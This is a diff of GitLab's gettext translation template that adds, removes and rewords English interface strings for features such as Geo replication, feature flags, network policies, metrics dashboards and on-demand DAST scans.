msgid "Example: @sub\\.company\\.com$"
@@ -9873,6 +10198,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9882,9 +10210,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9897,9 +10222,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9909,9 +10231,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9924,9 +10243,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10358,12 +10674,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10448,6 +10770,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10457,9 +10782,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10499,6 +10821,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10724,6 +11049,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10895,30 +11223,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -10934,12 +11247,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -10967,12 +11274,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10994,15 +11295,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11030,27 +11322,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11063,6 +11340,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11126,6 +11409,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11258,10 +11547,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11438,7 +11727,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11555,7 +11844,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11837,6 +12129,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12113,7 +12408,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12326,6 +12621,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12341,6 +12639,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12471,6 +12772,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12627,6 +12931,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12780,6 +13090,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12795,6 +13108,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12807,13 +13123,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12822,21 +13138,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12849,6 +13168,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12867,6 +13189,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12942,6 +13267,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13008,6 +13336,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13022,7 +13353,7 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13049,6 +13380,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13061,13 +13398,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13097,7 +13431,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13109,9 +13443,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13208,6 +13548,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13247,6 +13620,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13346,9 +13722,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13490,6 +13863,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13532,6 +13908,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13547,6 +13926,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13835,7 +14217,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14065,7 +14447,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14164,10 +14546,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14194,6 +14576,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14257,9 +14642,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14275,9 +14657,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14331,6 +14710,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14352,6 +14734,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14403,7 +14788,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14454,6 +14839,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14469,6 +14860,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14553,9 +14947,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14667,9 +15058,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14805,6 +15193,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14814,9 +15211,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14844,15 +15238,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14868,6 +15262,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14931,6 +15328,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15063,6 +15481,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15165,6 +15589,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15174,9 +15604,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15210,9 +15637,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15224,9 +15657,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15254,6 +15684,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15278,6 +15711,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15356,6 +15792,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15406,12 +15845,18 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15577,6 +16022,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15622,6 +16076,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15811,12 +16268,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15826,6 +16316,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15838,6 +16331,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15856,12 +16352,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15886,9 +16388,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15901,9 +16409,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16296,12 +16849,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16389,18 +16948,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16548,9 +17101,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16590,9 +17140,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16635,21 +17182,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16659,25 +17212,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
+msgstr ""
+
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
